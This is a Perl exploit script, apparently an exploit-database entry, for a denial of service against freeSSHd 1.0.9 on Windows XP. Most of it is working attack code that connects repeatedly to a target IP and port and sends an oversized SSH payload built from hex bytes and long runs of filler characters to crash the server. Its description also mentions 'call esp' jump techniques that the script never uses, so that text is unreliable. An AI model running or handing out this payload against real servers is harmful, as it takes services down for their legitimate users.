#!/usr/bin/perl use IO::Socket; # Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS) # Discovery by: Fernando Mengali # Discovery Date: 13 january 2024 # Vendor Homepage: N/A # Download to demo: https://drive.google.com/file/d/1FKc_v7kmA-Z-6pymLk0QpxIQxKFeMceT/view?usp=sharing # Notification vendor: No reported # Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS) # Tested on: Window XP Professional - Service Pack 2 and 3 - English # Vulnerability Type: Denial of Service (DoS) # Vídeo: https://youtu.be/ZJ6D5nhjve0 #1. Description #His technique works fine against Windows XP Professional Service Pack 2 and 3 (English). #For this exploit I have tried several strategies to increase reliability and performance: #Jump to a static 'call esp' #Backwards jump to code a known distance from the stack pointer. #The SSH does not correctly handle the amount of data or bytes sent. #When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions. #Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users. #2. Proof of Concept - PoC $sis="$^O"; if ($sis eq "windows"){ $cmd="cls"; } else { $cmd="clear"; } system("$cmd"); intro(); main(); print "[+] Exploiting... \n"; my $bufff = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18; my $payload = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" . "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067); $payload .= $payload; $payload .= "C" x 19021 . "\r\n"; my $i=0; while ($i<=18) { my $sock = IO::Socket::INET->new( PeerAddr => $ip, PeerPort => $port, Proto => 'tcp' ) or die "Cannot connect!\n"; if (<$sock> eq '') { print "[+] Done - Exploited success!!!!!\n\n"; exit; } $sock->send($payload) or die "Exploited successuful!!!"; $i++; } sub intro { print q { _/| // o\ || ._) //__\ )___( [+] freeSSHd 1.0.9 - Denied of Service (DoS) [*] Coded by Fernando Mengali [@] e-mail: [email protected] } } sub main { our ($ip, $port) = @ARGV; unless (defined($ip) && defined($port)) { print " \nUsage: $0 <ip> <port> \n"; exit(-1); } }